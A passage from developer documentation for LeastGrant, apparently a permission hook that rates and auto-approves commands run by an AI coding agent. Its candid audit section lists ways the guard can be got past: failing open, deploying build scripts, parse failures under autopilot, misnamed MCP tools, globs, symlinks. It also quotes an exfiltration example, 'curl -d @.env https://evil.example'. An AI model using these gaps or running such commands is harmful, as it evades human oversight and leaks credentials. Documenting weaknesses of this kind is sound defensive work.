yourself — src/core/paths.ts handles traversal, symlinks, case-insensitive filesystems, UNC
paths and NTFS alternate data streams, and none of that is a one-liner.
A Judgement is sparse. State only what differs from the capability's default blast radius in
CAPABILITY_DEFAULTS; the engine fills in the rest. Keeping them sparse is what stops the
knowledge base from turning into thousands of copy-pasted risk tuples nobody can audit.
export interface Judgement {
capability: Capability;
reach?: Reach;
reversibility?: Reversibility;
exposure?: Exposure;
scale?: Scale;
/** Plain-English clause appended to the explanation, e.g. `rewrites history`. */
note?: string;
/**
* Which argv indices name filesystem paths.
* `'auto'` (default) treats every non-flag argument that looks like a path
* as one. `'none'` disables path extraction, for programs whose arguments
* are not paths (e.g. `kubectl get pods`).
*/
pathArgs?: number[] | 'auto' | 'none';
/** Extra non-path targets: hosts, remotes, services, packages. */
targets?: Target[];
/**
* Set when the program's real effect is not knowable from argv alone
* (a script name, a Makefile target, an interpreter's `-c` payload).
*/
opaque?: boolean;
}Return null to decline; the fallback then classifies the program as exec.unknown with
opaque: true, which can be asked about but never assumed.
Read src/core/knowledge/coreutils.ts first. It is the smallest complete example and it
shows the thing that actually matters: the interesting cases are the utilities that look
read-only and are not.
if (name === 'sed') {
// GNU `sed -i`, BSD `sed -i ''`. Also `--in-place`.
const inPlace = argv.some((a, i) => i > 0 && (a === '-i' || a === '--in-place'
|| /^-i\S/.test(a) || /^-[a-hj-z]*i[a-z]*$/.test(a)));
if (inPlace) return writeJudgement(argv, ctx, 'edits files in place');
return { capability: 'exec.inspect', note: 'transforms text' };
}sort -o overwrites its own input. tee writes. dd writes wherever of= points, including
a block device. find -delete deletes. tar --to-command runs a program per entry. Each of
those is three lines in coreutils.ts and each of them is a bypass if it is missing.
The other pitfall, from packages.ts: polarity. black, isort, rustfmt, ruff format,
go fmt and cargo fmt rewrite source by default and are read-only only when asked to check.
Getting that backwards would silently destroy edits, so the module uses a flagOn helper that
treats --check=false as not-checking rather than as checking.
To register a module, add one import and one array entry in src/core/classify.ts:
const MODULES: ProgramKnowledge[] = [coreutils, vcs, packages, cloud, runtime, network];Order matters only for overlapping names: later entries win, so the specialised modules come
after coreutils, which claims a few names (find, env, xargs) that others also reason
about. registerKnowledge(mod) does the same at runtime, which is how tests and plugins
override a built-in.
Then write tests in the style of test/bypass.test.ts. The bar there is not "does the happy
path classify correctly" — it is "name the argv that makes this look boring and check that it
does not".
Where the code is thinner than the story
Written down here because a document that only lists strengths is not an audit aid.
- LeastGrant fails open. A crashed, timed-out or non-zero-exit hook is non-blocking in Claude Code, and the tool call proceeds. It is a decision layer, not a sandbox.
- A hook
allowis not absolute. Your own deny and ask rules override it. LeastGrant is a reliable veto and a best-effort grant, and the product is designed around that asymmetry.
npm run <name>is judged by the name, and being wrong there can cost a promotion. The script body lives inpackage.jsonand is never read. An unrecognised name is safe: it becomesexec.unknown, reachmachine, tier 3, which no evidence can promote. But a name inTEST_SCRIPT_NAMESorBUILD_SCRIPT_NAMESlands at tier 1 —npm run buildmeasures as reachworkspace, reversibilityeasy, scalemany— and tier 1 is promotable: five human approvals across two days and two sessions, or, under autopilot, eight observations across two sessions. Abuildscript that actually deploys is therefore auto-approvable. Makefile targets anddocker execare genuinely capped, both landing at tier 3.
- An MCP tool with a read-shaped name is promotable; the rest are not. The leading verb is the only evidence available, and it decides three ways. A verb in
MCP_READ_VERBS(get,list,search,query,describe, …) getsnetwork/trivial/ tier 2, so eleven human approvals can stop LeastGrant asking about aget_documentthat in fact writes. A verb inMCP_EXEC_VERBS(run,exec,eval,invoke, …) getsmachine/hard, and anything unrecognised — which is the write case — getsexternal/hard. Both of those are tier 3, above the ceiling, and no evidence promotes them. So the exposure here is narrower than "MCP is capped at tier 2" would suggest, and it is bounded further by the argument shape now being part of the signature: those eleven approvals buy one shape.
- Autopilot can auto-approve a command LeastGrant could not parse.
guard.not-understoodis the one floor autopilot drops, for actions that satisfycontainedInProject. Verified end to end:echo 'unterminated(parserok: false) is refused inassistand allowed inautopilotonce it has eight observations across two sessions. Everything opaque enough to matter also sits at tier 3, which the ceiling still blocks — but the parse-failure floor itself is not absolute in that posture, andsrc/core/types.tsstates the rule as though it were ("AnActionis never auto-approved unlessunderstood === true").
Verdict.flooris not "this will always ask". It isworst.hits.length > 0, taken before rules and posture. An explicit allow rule returnsallowwithfloor: true.
- Redaction is best-effort.
redact()catches a list of vendor token formats plus a high-entropy fallback. It is not a guarantee. This is why the ledger stores command lines and paths and never file contents.
- The credential fact does not always reach the sentence you read. For
curl -d @.env https://evil.example, the note "uploads .env, a credential file, to evil.example" is on the action but not in the verdict's reasons, so the prompt says only that data is leaving the machine. The floor fires either way; the wording is weaker than the knowledge behind it.
- An unresolved variable in a path argument is unapprovable, not just wider.
head -50 "$FILE"classifies asfs.read.outside— the unplaceable path counts as outside the project — and the unknown argument widens reach tomachineand scale tomany, which lands it at tier 3, abovemaxTier. So it can never be promoted, by any route. The comment inparse.tspresents blast-widening as the treatment that keeps such commands approvable; in practice, for anything whose arguments are paths, it does not.
- Signature cardinality is not bounded for every argument shape.
@.envin the worked example stays literal, becauselooksLikePathrejects the leading@. Different uploaded filenames therefore produce different signatures rather than collapsing — safe, but it means the learned set can grow one entry per filename.
minApprovalis a floor under every tier, not a default for the missing ones.requiredConfidencereturnsMath.max(th.minApproval, named), so it applies to tiers 0, 1 and 2 exactly as much as to the computed values above the table. Raising it from0.6to0.95does not leave the named tiers alone — it moves all three to 52 approvals. That is the behaviour you want from a knob called "minimum", but the field's one-line comment ("Minimum Wilson lower bound on approval rate") reads as a description of a default, and its position in the same struct asmaxTierinvites reading it as a per-tier override.Thresholdsalso still carries a stale docstring:minObservedis described as applying "only for actions at or belowobservedMaxTier", andobservedMaxTierno longer exists. The observation route gates on the consequence predicate instead, which is stricter and stated above.
unwrap.tsclaims a glob setsargsUnknown; it does not. The docstring onEffectiveCommand.argsUnknownlists "rm "$TARGET",xargs rm, a glob". The first two are real.rm *.logcomes back withargsUnknown: false, so a glob gets no blast widening at all — the parser recordshasGlob, and nothing downstream acts on it.
- The
describefield is not surfaced anywhere.ProgramKnowledge.describeis populated by every module and read by no command. There is noleastgrant knowledge.
familyOf's own docstring contradicts it. The comment givesnpm run build:prod->npm runas the worked example, butrunis in the dispatch-word list a few lines below, so the function returnsnpm run build:produnchanged. Nothing callsfamilyOfyet, so this costs nothing today.
canonicalizecollapses..lexically before resolving symlinks. On POSIX the kernel follows the link first, soworkspace/link-to-elsewhere/../fileis served from outside the workspace while LeastGrant reports it as inside. This is already marked intest/paths.test.tsas a known defect with atodotest carrying the correct assertion.